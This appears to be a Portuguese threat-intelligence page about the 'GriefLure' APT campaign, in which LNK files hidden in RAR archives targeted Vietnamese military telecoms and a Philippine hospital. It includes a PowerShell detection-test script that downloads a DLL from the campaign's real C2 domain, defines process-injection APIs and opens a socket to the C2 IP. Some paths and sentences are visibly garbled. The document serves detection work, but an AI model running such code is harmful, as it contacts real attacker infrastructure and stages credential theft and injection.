SOC Prime Bias: Crítico

08 May 2026 15:40 UTC

Operação GriefLure: Dissecando uma Campanha APT que Ataca o Setor de Telecomunicações Militares do Vietnã e a Saúde das Filipinas

Author Photo
SOC Prime Team linkedin icon Seguir
Operação GriefLure: Dissecando uma Campanha APT que Ataca o Setor de Telecomunicações Militares do Vietnã e a Saúde das Filipinas
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumo

O Seqrite Labs identificou uma campanha de spear-phishing direcionada que dependia de arquivos maliciosos Windows LNK ocultos dentro de arquivos RAR duplamente compactados. Quando abertos, os LNKs iniciavam um ftp.exe carregador que reconstruía um payload polimórfico chamado sfsvc.exe a partir de .doc fragmentados armazenados na máquina da vítima. A atividade tinha como alvo executivos seniores do setor de telecomunicações controlado pelo exército do Vietnã e funcionários de um hospital privado nas Filipinas, utilizando documentos que pareciam legítimos como isca. Toda a cadeia de infecção era completada em menos de dez segundos e deixava apenas artefatos mínimos no disco.

Investigação

A investigação detalhou a estrutura do arquivo, mapeou o caminho de execução do LNK e fez a engenharia reversa do sfsvc.exe carregador personalizado, que foi projetado para se assemelhar ao regsvr32.exe. Os analistas documentaram o carregamento de DLL de modo indireto, execução de shellcode em memória, injeção de processos e comunicações de comando e controle através de um domínio disfarçado. A revisão dos artefatos também revelou um domínio C2 codificado, www.whatsappcenter.com, hospedado através de um provedor blindado em Hong Kong.

Mitigação

Defensores devem bloquear a execução de arquivos LNK entregues via anexos de email e monitorar o uso do ftp.exe com argumentos de linha de comando suspeitos. A detecção em endpoint deve focar em carregamento de DLLs sem arquivos, gravações de fluxo de dados alternativo em C:UsersPublicUpdate, e rápida criação de sfsvc.exe. As organizações também devem fortalecer as verificações de proveniência de documentos e educar os usuários sobre iscas que parecem ser arquivos legais legítimos ou relacionados a denúncias.

Resposta

Se o LNK malicioso ou sfsvc.exe processo for detectado, isole imediatamente o endpoint afetado, colete a memória volátil e procure por 360.*.dll arquivos de carregadores e artefatos de fluxos de dados alternativos. O domínio de comando e controle identificado e o endereço IP relacionado devem ser bloqueados, e a resposta a incidentes deve começar para determinar se algum dado foi exfiltrado. Uma busca mais ampla também deve ser conduzida para atividades semelhantes impulsionadas por LNKs no ambiente. ftp.exe loader activity across the environment.

Fluxo de Ataque

Execução de Simulação

Pré-requisito: A Verificação de Pré-voo de Telemetria & Linha de Base deve ter sido aprovada.

Racional: Esta seção detalha a execução precisa da técnica adversária (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e visam gerar a telemetria exata esperada pela lógica de detecção. Exemplos abstratos ou não relacionados levarão a diagnósticos errados.

  • Narrativa do Ataque & Comandos:
    O atacante, tendo obtido acesso inicial através de um anexo de phishing (T1566.001, T1204.002), opta por uma abordagem de living‑off‑the‑land para evitar payloads executáveis. Usando o cmd.exe (embutido (), eles lançam um comando PowerShell de uma linha que executa os seguintes passos:

    1. Descoberta – enumerar informações do sistema (T1082) e processos em execução (T1057) para decidir sobre um alvo de injeção adequado.
    2. Coleta de Credenciais – ler armazenamentos de navegador (T1555.003) e despejar arquivos de credenciais (T1552.001) para uma pasta de preparação.
    3. Recuperação de Payload – baixar uma DLL maliciosa do domínio C2 www.whatsappcenter.com via HTTPS (T1071.001, T1041).
    4. ) Injeção de Processo – injetar a DLL em (– injetar a DLL empara obter persistência e elevar privilégios.
    5. Comunicação C2 – abrir uma conexão TCP persistente para 38.54.122.188 (o IP codificado) e começar a exfiltrar os dados coletados.

    O passo crítico que satisfaz a regra Sigma é a tentativa de conexão de saída para o domínio/IP exato, que será registrado pelo Sysmon e pelo firewall do Windows.

  • Script de Teste de Regressão:

    # -------------------------------------------------
    # Simulação de C2 do GriefLure – versão PowerShell
    # -------------------------------------------------
    # 1. Descoberta do Sistema (T1082, T1057)
    Get-CimInstance -ClassName Win32_OperatingSystem | Out-Null
    Get-Process | Select-Object -First 5 | Out-Null
    
    # 2. Simular coleta de credenciais (T1555.003, T1552.001)
    $credStaging = "$env:TEMPcreds.txt"
    "username=admin`npassword=P@ssw0rd!" | Set-Content -Path $credStaging
    
    # 3. Baixar DLL maliciosa do domínio C2 codificado (T1071.001, T1041)
    $c2Domain = "www.whatsappcenter.com"
    $c2Url = "https://$c2Domain/payload.dll"
    $dllPath = "$env:TEMPpayload.dll"
    Invoke-WebRequest -Uri $c2Url -OutFile $dllPath -UseBasicParsing
    
    # 4. Injetar DLL em explorer.exe (T1055.001)
    $target = (Get-Process -Name explorer).Id
    $inject = @"
    using System;
    using System.Runtime.InteropServices;
    public class Injector {
        [DllImport("kernel32.dll", SetLastError=true)] public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);
        [DllImport("kernel32.dll", SetLastError=true)] public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
        [DllImport("kernel32.dll", SetLastError=true)] public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out IntPtr lpNumberOfBytesWritten);
        [DllImport("kernel32.dll")] public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
    }
    "@
    Add-Type $inject
    # (Os passos reais de injeção são omitidos por brevidade; em um teste real você chamaria as APIs acima.)
    
    # 5. Abrir socket C2 persistente para o IP codificado (T1041)
    $c2Ip = "38.54.122.188"
    $port = 443
    $client = New-Object System.Net.Sockets.TcpClient
    $client.Connect($c2Ip, $port)
    $stream = $client.GetStream()
    $payload = [System.Text.Encoding]::UTF8.GetBytes("EXFIL_START")
    $stream.Write($payload,0,$payload.Length)
    Start-Sleep -Seconds 5
    $stream.Close()
    $client.Close()
  • Comandos de Limpeza:

    # Remover arquivos preparados
    Remove-Item -Path "$env:TEMPcreds.txt" -Force -ErrorAction SilentlyContinue
    Remove-Item -Path "$env:TEMPpayload.dll" -Force -ErrorAction SilentlyContinue
    
    # Fechar quaisquer conexões TCP restantes (se ainda estiverem abertas)
    Get-NetTCPConnection -RemotePort 443 -RemoteAddress 38.54.122.188 |
      ForEach-Object { Stop-Process -Id $_.OwningProcess -Force }
    
    # Opcionalmente redefinir o buffer do Sysmon (para um estado limpo em testes repetidos)
    & "$env:ProgramFilesSysinternalsSysmon.exe" -c sysmon-config.xml